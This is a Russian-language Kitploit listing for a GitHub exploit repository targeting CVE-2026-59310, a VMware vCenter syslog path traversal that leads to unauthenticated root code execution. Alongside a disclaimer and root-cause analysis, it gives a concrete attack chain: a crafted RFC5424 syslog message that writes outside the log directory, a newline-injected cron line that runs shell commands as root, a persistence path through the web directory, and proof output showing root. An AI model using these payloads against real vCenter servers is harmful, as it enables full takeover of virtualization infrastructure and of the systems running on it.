Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-59310-POC — Python PoC и эксплойт для CVE-2026-59310 — обход пути в syslog VMware vCenter, приводящий к неаутентифицированному RCE с правами root через инъекцию в cron, с рекомендациями по обнаружению и очистке. | Kitploit
Инструменты/GitHubGitHub/chinaran0/cve-2026-59310-poc
Повышение привилегийАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийПост-эксплуатацияТестирование на ПроникновениеRed TeamingРеагирование на ИнцидентыИнструмент Удаленного ДоступаРазработка Полезной Нагрузки
GitHub
552526 дней назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
chinaran0/cve-2026-59310-poc

CVE-2026-59310-POC

Python PoC и эксплойт для CVE-2026-59310 — обход пути в syslog VMware vCenter, приводящий к неаутентифицированному RCE с правами root через инъекцию в cron, с рекомендациями по обнаружению и очистке.

Репозиторий

CVE-2026-59310 — Обход каталога в VMware vCenter Syslog приводит к неавторизованному RCE

Отказ от ответственности: Этот проект предназначен только для авторизованного тестирования безопасности, проверки уязвимостей и исследований в области защиты. Используйте его только в средах с явным письменным разрешением. Пользователь несёт полную ответственность за любые последствия, вызванные злоупотреблением.


Содержание

  • Обзор уязвимости
  • Затронутые версии
  • Причина уязвимости
  • Цепочка эксплуатации
  • Среда и проверка воспроизведения
  • Воспроизведение скриптом
  • Обнаружение и самопроверка
  • Рекомендации по исправлению
  • Часто задаваемые вопросы
  • Ссылки

Обзор уязвимости

ПунктСодержание
Название уязвимостиУязвимость обхода каталога в VMware vCenter Syslog
Идентификатор уязвимостиCVE-2026-59310
Тип уязвимостиОбход каталога (Path Traversal) → запись произвольных файлов → удалённое выполнение кода
CVSS 3.19.8 (Critical)
Предусловия эксплуатацииТребуется только доступность порта syslog (по умолчанию UDP/TCP 514), учётные данные не нужны
Последствия эксплуатацииЗапись по произвольному пути и выполнение произвольного кода с правами root
Дата публикации2026-07-29
Эксплуатация в дикой природеОбнаружена
Уведомление производителяVMSA-2026-0006

Встроенная служба приёма syslog в vCenter (rsyslog) использует шаблон динамического пути для сохранения журналов. Шаблон напрямую подставляет поля APP-NAME и HOSTNAME из заголовка сообщения в путь к файлу без какой-либо очистки пути. Отправив специально сформированное сообщение на доступный порт syslog, злоумышленник может заставить путь записи выйти за пределы预定 каталога журналов, а затем в сочетании с заданиями планировщика добиться выполнения произвольного кода.

vCenter — это центральный узел управления виртуализацией; его компрометация равносильна потере контроля над всей средой vSphere / VCF.


Затронутые версии

Затронутые версии (ниже следующих исправленных версий)

ВеткаЗатронутый диапазонИсправленная версия
9.1< 9.1.0.03009.1.0.0300
9.0< 9.0.2.01009.0.2.0100 (Build 25629525)
8.0 U3< 8.0 U3k8.0 U3k
8.0 U2< 8.0 U2f8.0 U2f
8.0 начальная версия / U1ВсеОбновление до 8.0 U3k или выше по поддерживаемому пути
7.0Без установленного соответствующего патча расширенной поддержкиОбратитесь в Broadcom за патчем или перейдите на поддерживаемую версию

Также затронуты: автономно развёрнутые vCenter, а также затронутые компоненты vCenter, используемые в VMware Cloud Foundation, VMware vSphere Foundation, VMware Telco Cloud.

Проверенная среда: VMware vCenter Server 9.0.2.0 / Build 25148086, предшествует исправленной версии 25629525, действительно находится в неисправленном состоянии.


Причина уязвимости

1. Шаблон динамического пути напрямую конкатенирует недоверенные поля

/etc/rsyslog.conf (заводская конфигурация VMware по умолчанию):

29: $template defaultLoc,     "/var/log/vmware/%app-name%/%app-name%-syslog.log"
33: $template rsyslogadminLoc,"/var/log/vmware/%app-name%/%app-name%-syslog.log"
35: $template esxLoc,         "/var/log/vmware/esx/%hostname%/%hostname%-syslog.log"

%app-name% используется одновременно как имя каталога и имя файла, и очистка пути отсутствует.

2. Слишком широкий селектор

63: :app-name, startswith, "rsyslog" ?rsyslogadminLoc;rsyslogadminFmt

Требуется только совпадение по префиксу; злоумышленник может использовать rsyslog/..., чтобы попасть под это правило и войти в шаблон динамического пути.

3. Проникновение символа новой строки (ключ к RCE)

24: $EscapeControlCharactersOnReceive off

Символы новой строки в содержимом сообщения записываются на диск как есть, что позволяет злоумышленнику управлять структурой строк записываемого файла.

4. Ключевая точка обхода: несоответствие поведения парсеров RFC3164 и RFC5424

Это наиболее часто упускаемое место данной уязвимости.

  • RFC3164 (pmrfc3164): при разборе имени хоста используется белый список символов, / по умолчанию не допускается, что приводит к усечению APP-NAME на / → обход невозможен.
  • RFC5424 (pmrfc5424): APP-NAME — это отдельное поле, разделённое пробелами, проверка по белому списку символов не выполняется, / и .. сохраняются как есть → обход возможен.

Серверная часть input(type="imudp" port="514") использует набор правил по умолчанию и одновременно принимает сообщения RFC5424. Злоумышленнику достаточно оформить сообщение в формате RFC5424, чтобы символы обхода напрямую попали в путь к файлу.

Сравнение по результатам тестирования (одна и та же полезная нагрузка rsyslog/../../../../tmp/x):

ПарсерФактическое значение %app-name%
pmrfc3164rsyslog ← усечено на /
pmrfc5424rsyslog/../../../../tmp/x ← сохранено полностью

Косвенное подтверждение: чистый .. создаётся как литеральное имя каталога (например, rsyslog..), что указывает на то, что уровень omfile в rsyslog не выполняет нормализацию ..; решающим фактором является способность парсера передать / в поле.


Цепочка эксплуатации

① Неаутентифицированный UDP-пакет  →  ② RFC5424 APP-NAME с обходом  →  ③ Выход из каталога журналов, произвольная запись (root)
                                                          ↓
                     ⑤ Выполнение кода с правами root  ←  ④ Внедрение задания планировщика в /etc/cron.d

Шаги ①②③: неаутентифицированная запись произвольных файлов (root)

<134>1 2026-01-05T12:00:00Z h rsyslog/../../../../tmp/PWNED 1 ID - hello

Подстановка в шаблон:

Каталог = /var/log/vmware/rsyslog/../../../../tmp/PWNED  →  /tmp/PWNED
Файл = то же самое + "-syslog.log"                          →  /tmp/PWNED-syslog.log

Результат: запись с владельцем root в /tmp/PWNED-syslog.log, отсутствующие родительские каталоги создаются автоматически, содержимое полностью контролируется.

Шаги ④⑤: от записи файла к RCE

Имя записываемого файла всегда заканчивается на -syslog.log, поэтому напрямую перезаписать /etc/cron.d/xxx невозможно. Однако благодаря проникновению символа новой строки можно внедрить перевод строки в MSG, заставив контролируемое содержимое начинаться с 0-й колонки файла:

2026-01-05T12:00:00Z info rsyslog/../../../../../etc/cron.d/poc    ← cron сообщает "bad minute", игнорируется
* * * * * root /bin/sh -c '{ id; } > /tmp/out.txt 2>&1'             ← выполняется как допустимая строка cron
#

crond выполняет задание с правами root, получаем:

uid=0(root) gid=0(root) groups=0(root),4044(shellaccess)

Альтернативные пути закрепления

  • Каталог статических ресурсов VAMI: запись в /opt/vmware/share/htdocs/ (lighttpd слушает 5480), затем чтение через https://<target>:5480/..., что соответствует описанию в уведомлении производителя.
  • /var/spool/cron/root: можно записать в этот каталог, но требуется сам файл с именем root, что ограничено суффиксом -syslog.log, поэтому /etc/cron.d/ более прямолинейно.

Среда и проверка воспроизведения

ПунктЗначение
ЦельVMware vCenter Server 9.0.2.0, Build 25148086
Исправленная версия9.0.2.0100, Build 25629525
rsyslog8.2306.0-4.ph5 (кастомный пакет VMware)
Порт syslogUDP/TCP 514, TCP 1514 (TLS)
Требования аутентификацииНет

Результаты проверки

Запись произвольных файлов (без аутентификации)

Скачать инструмент